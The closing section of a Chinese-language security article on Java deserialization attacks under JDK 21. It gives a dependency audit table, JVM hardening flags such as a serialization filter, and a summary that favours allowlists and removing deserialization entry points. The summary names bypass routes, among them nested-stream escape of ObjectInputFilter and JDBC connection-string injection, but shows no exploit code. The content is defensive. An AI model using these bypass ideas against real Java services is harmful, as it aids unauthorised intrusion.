Commons Collections < 3.2.2 `mvn dependency:tree grep commons-collections`
Commons Collections4 < 4.1 同上 升级到 4.1+(InvokerTransformer 禁用序列化)
Commons BeanUtils 与 CC 共存 mvn dependency:tree 评估是否可移除 BeanUtils 或 CC
H2 Database 1.4.x 用于生产 检查 pom.xml 和运行时 classpath 升级到 2.x 或移除(仅用于测试)
外部 Xalan-J 在 classpath 中 `mvn dependency:tree grep xalan`
启动参数含 --add-opens 检查启动脚本和 Dockerfile 移除不必要的模块开放
Jackson Databind < 2.15 检查版本 升级到最新稳定版

8.4 JVM 启动参数加固

# 禁止非法反射访问
--illegal-access=deny

# 限制序列化深度和大小
-Djdk.serialFilter="maxdepth=50;maxrefs=100;maxbytes=1000000;maxarray=10000"

# 移除危险的模块开放
# 错误的做法:--add-opens=java.base/java.lang=ALL-UNNAMED
# 正确的做法:避免不必要的模块开放

# 启用安全管理器(谨慎使用,可能影响应用)
-Djava.security.manager
-Djava.security.policy==/path/to/security.policy

单独依赖 ObjectInputFilter 是不够的——正如本文所展示的,嵌套流可以绕过它,黑名单可以被穷举,未覆盖的第三方库提供新的 Sink。

有效的防御是分层的:从消除入口(不反序列化不可信数据)到过滤策略(白名单而非黑名单),从依赖治理(移除危险库)到平台加固(保持模块封装),每一层都在缩小攻击面。

9. 总结

  1. JDK 21 的模块强封装使传统的 TemplatesImpl 利用链失效,但反序列化攻击面并未消失
  2. 嵌套反序列化流逃逸是利用 ObjectInputFilter 架构缺陷的有效绕过方式
  3. 黑名单过滤策略存在根本缺陷,应采用白名单作为默认策略
  4. Post-TemplatesImpl 时代的攻击面转移到:外部 Xalan 库、JDBC 连接串注入、文件写入等
  5. 有效的防御需要多层防护:白名单过滤 + 全局过滤器工厂 + 依赖治理 + 模块封装
  6. 最根本的解决方案是消除反序列化入口——使用 JSON、Protobuf 等不支持任意对象实例化的序列化格式替代 Java 原生序列化

免责声明:本文所有实验均在隔离的测试环境中完成,仅用于安全研究与技术交流。请勿将文中技术用于未授权的渗透测试。未经授权对他人系统进行渗透测试属于违法行为。

相似文章
相似文章
 全屏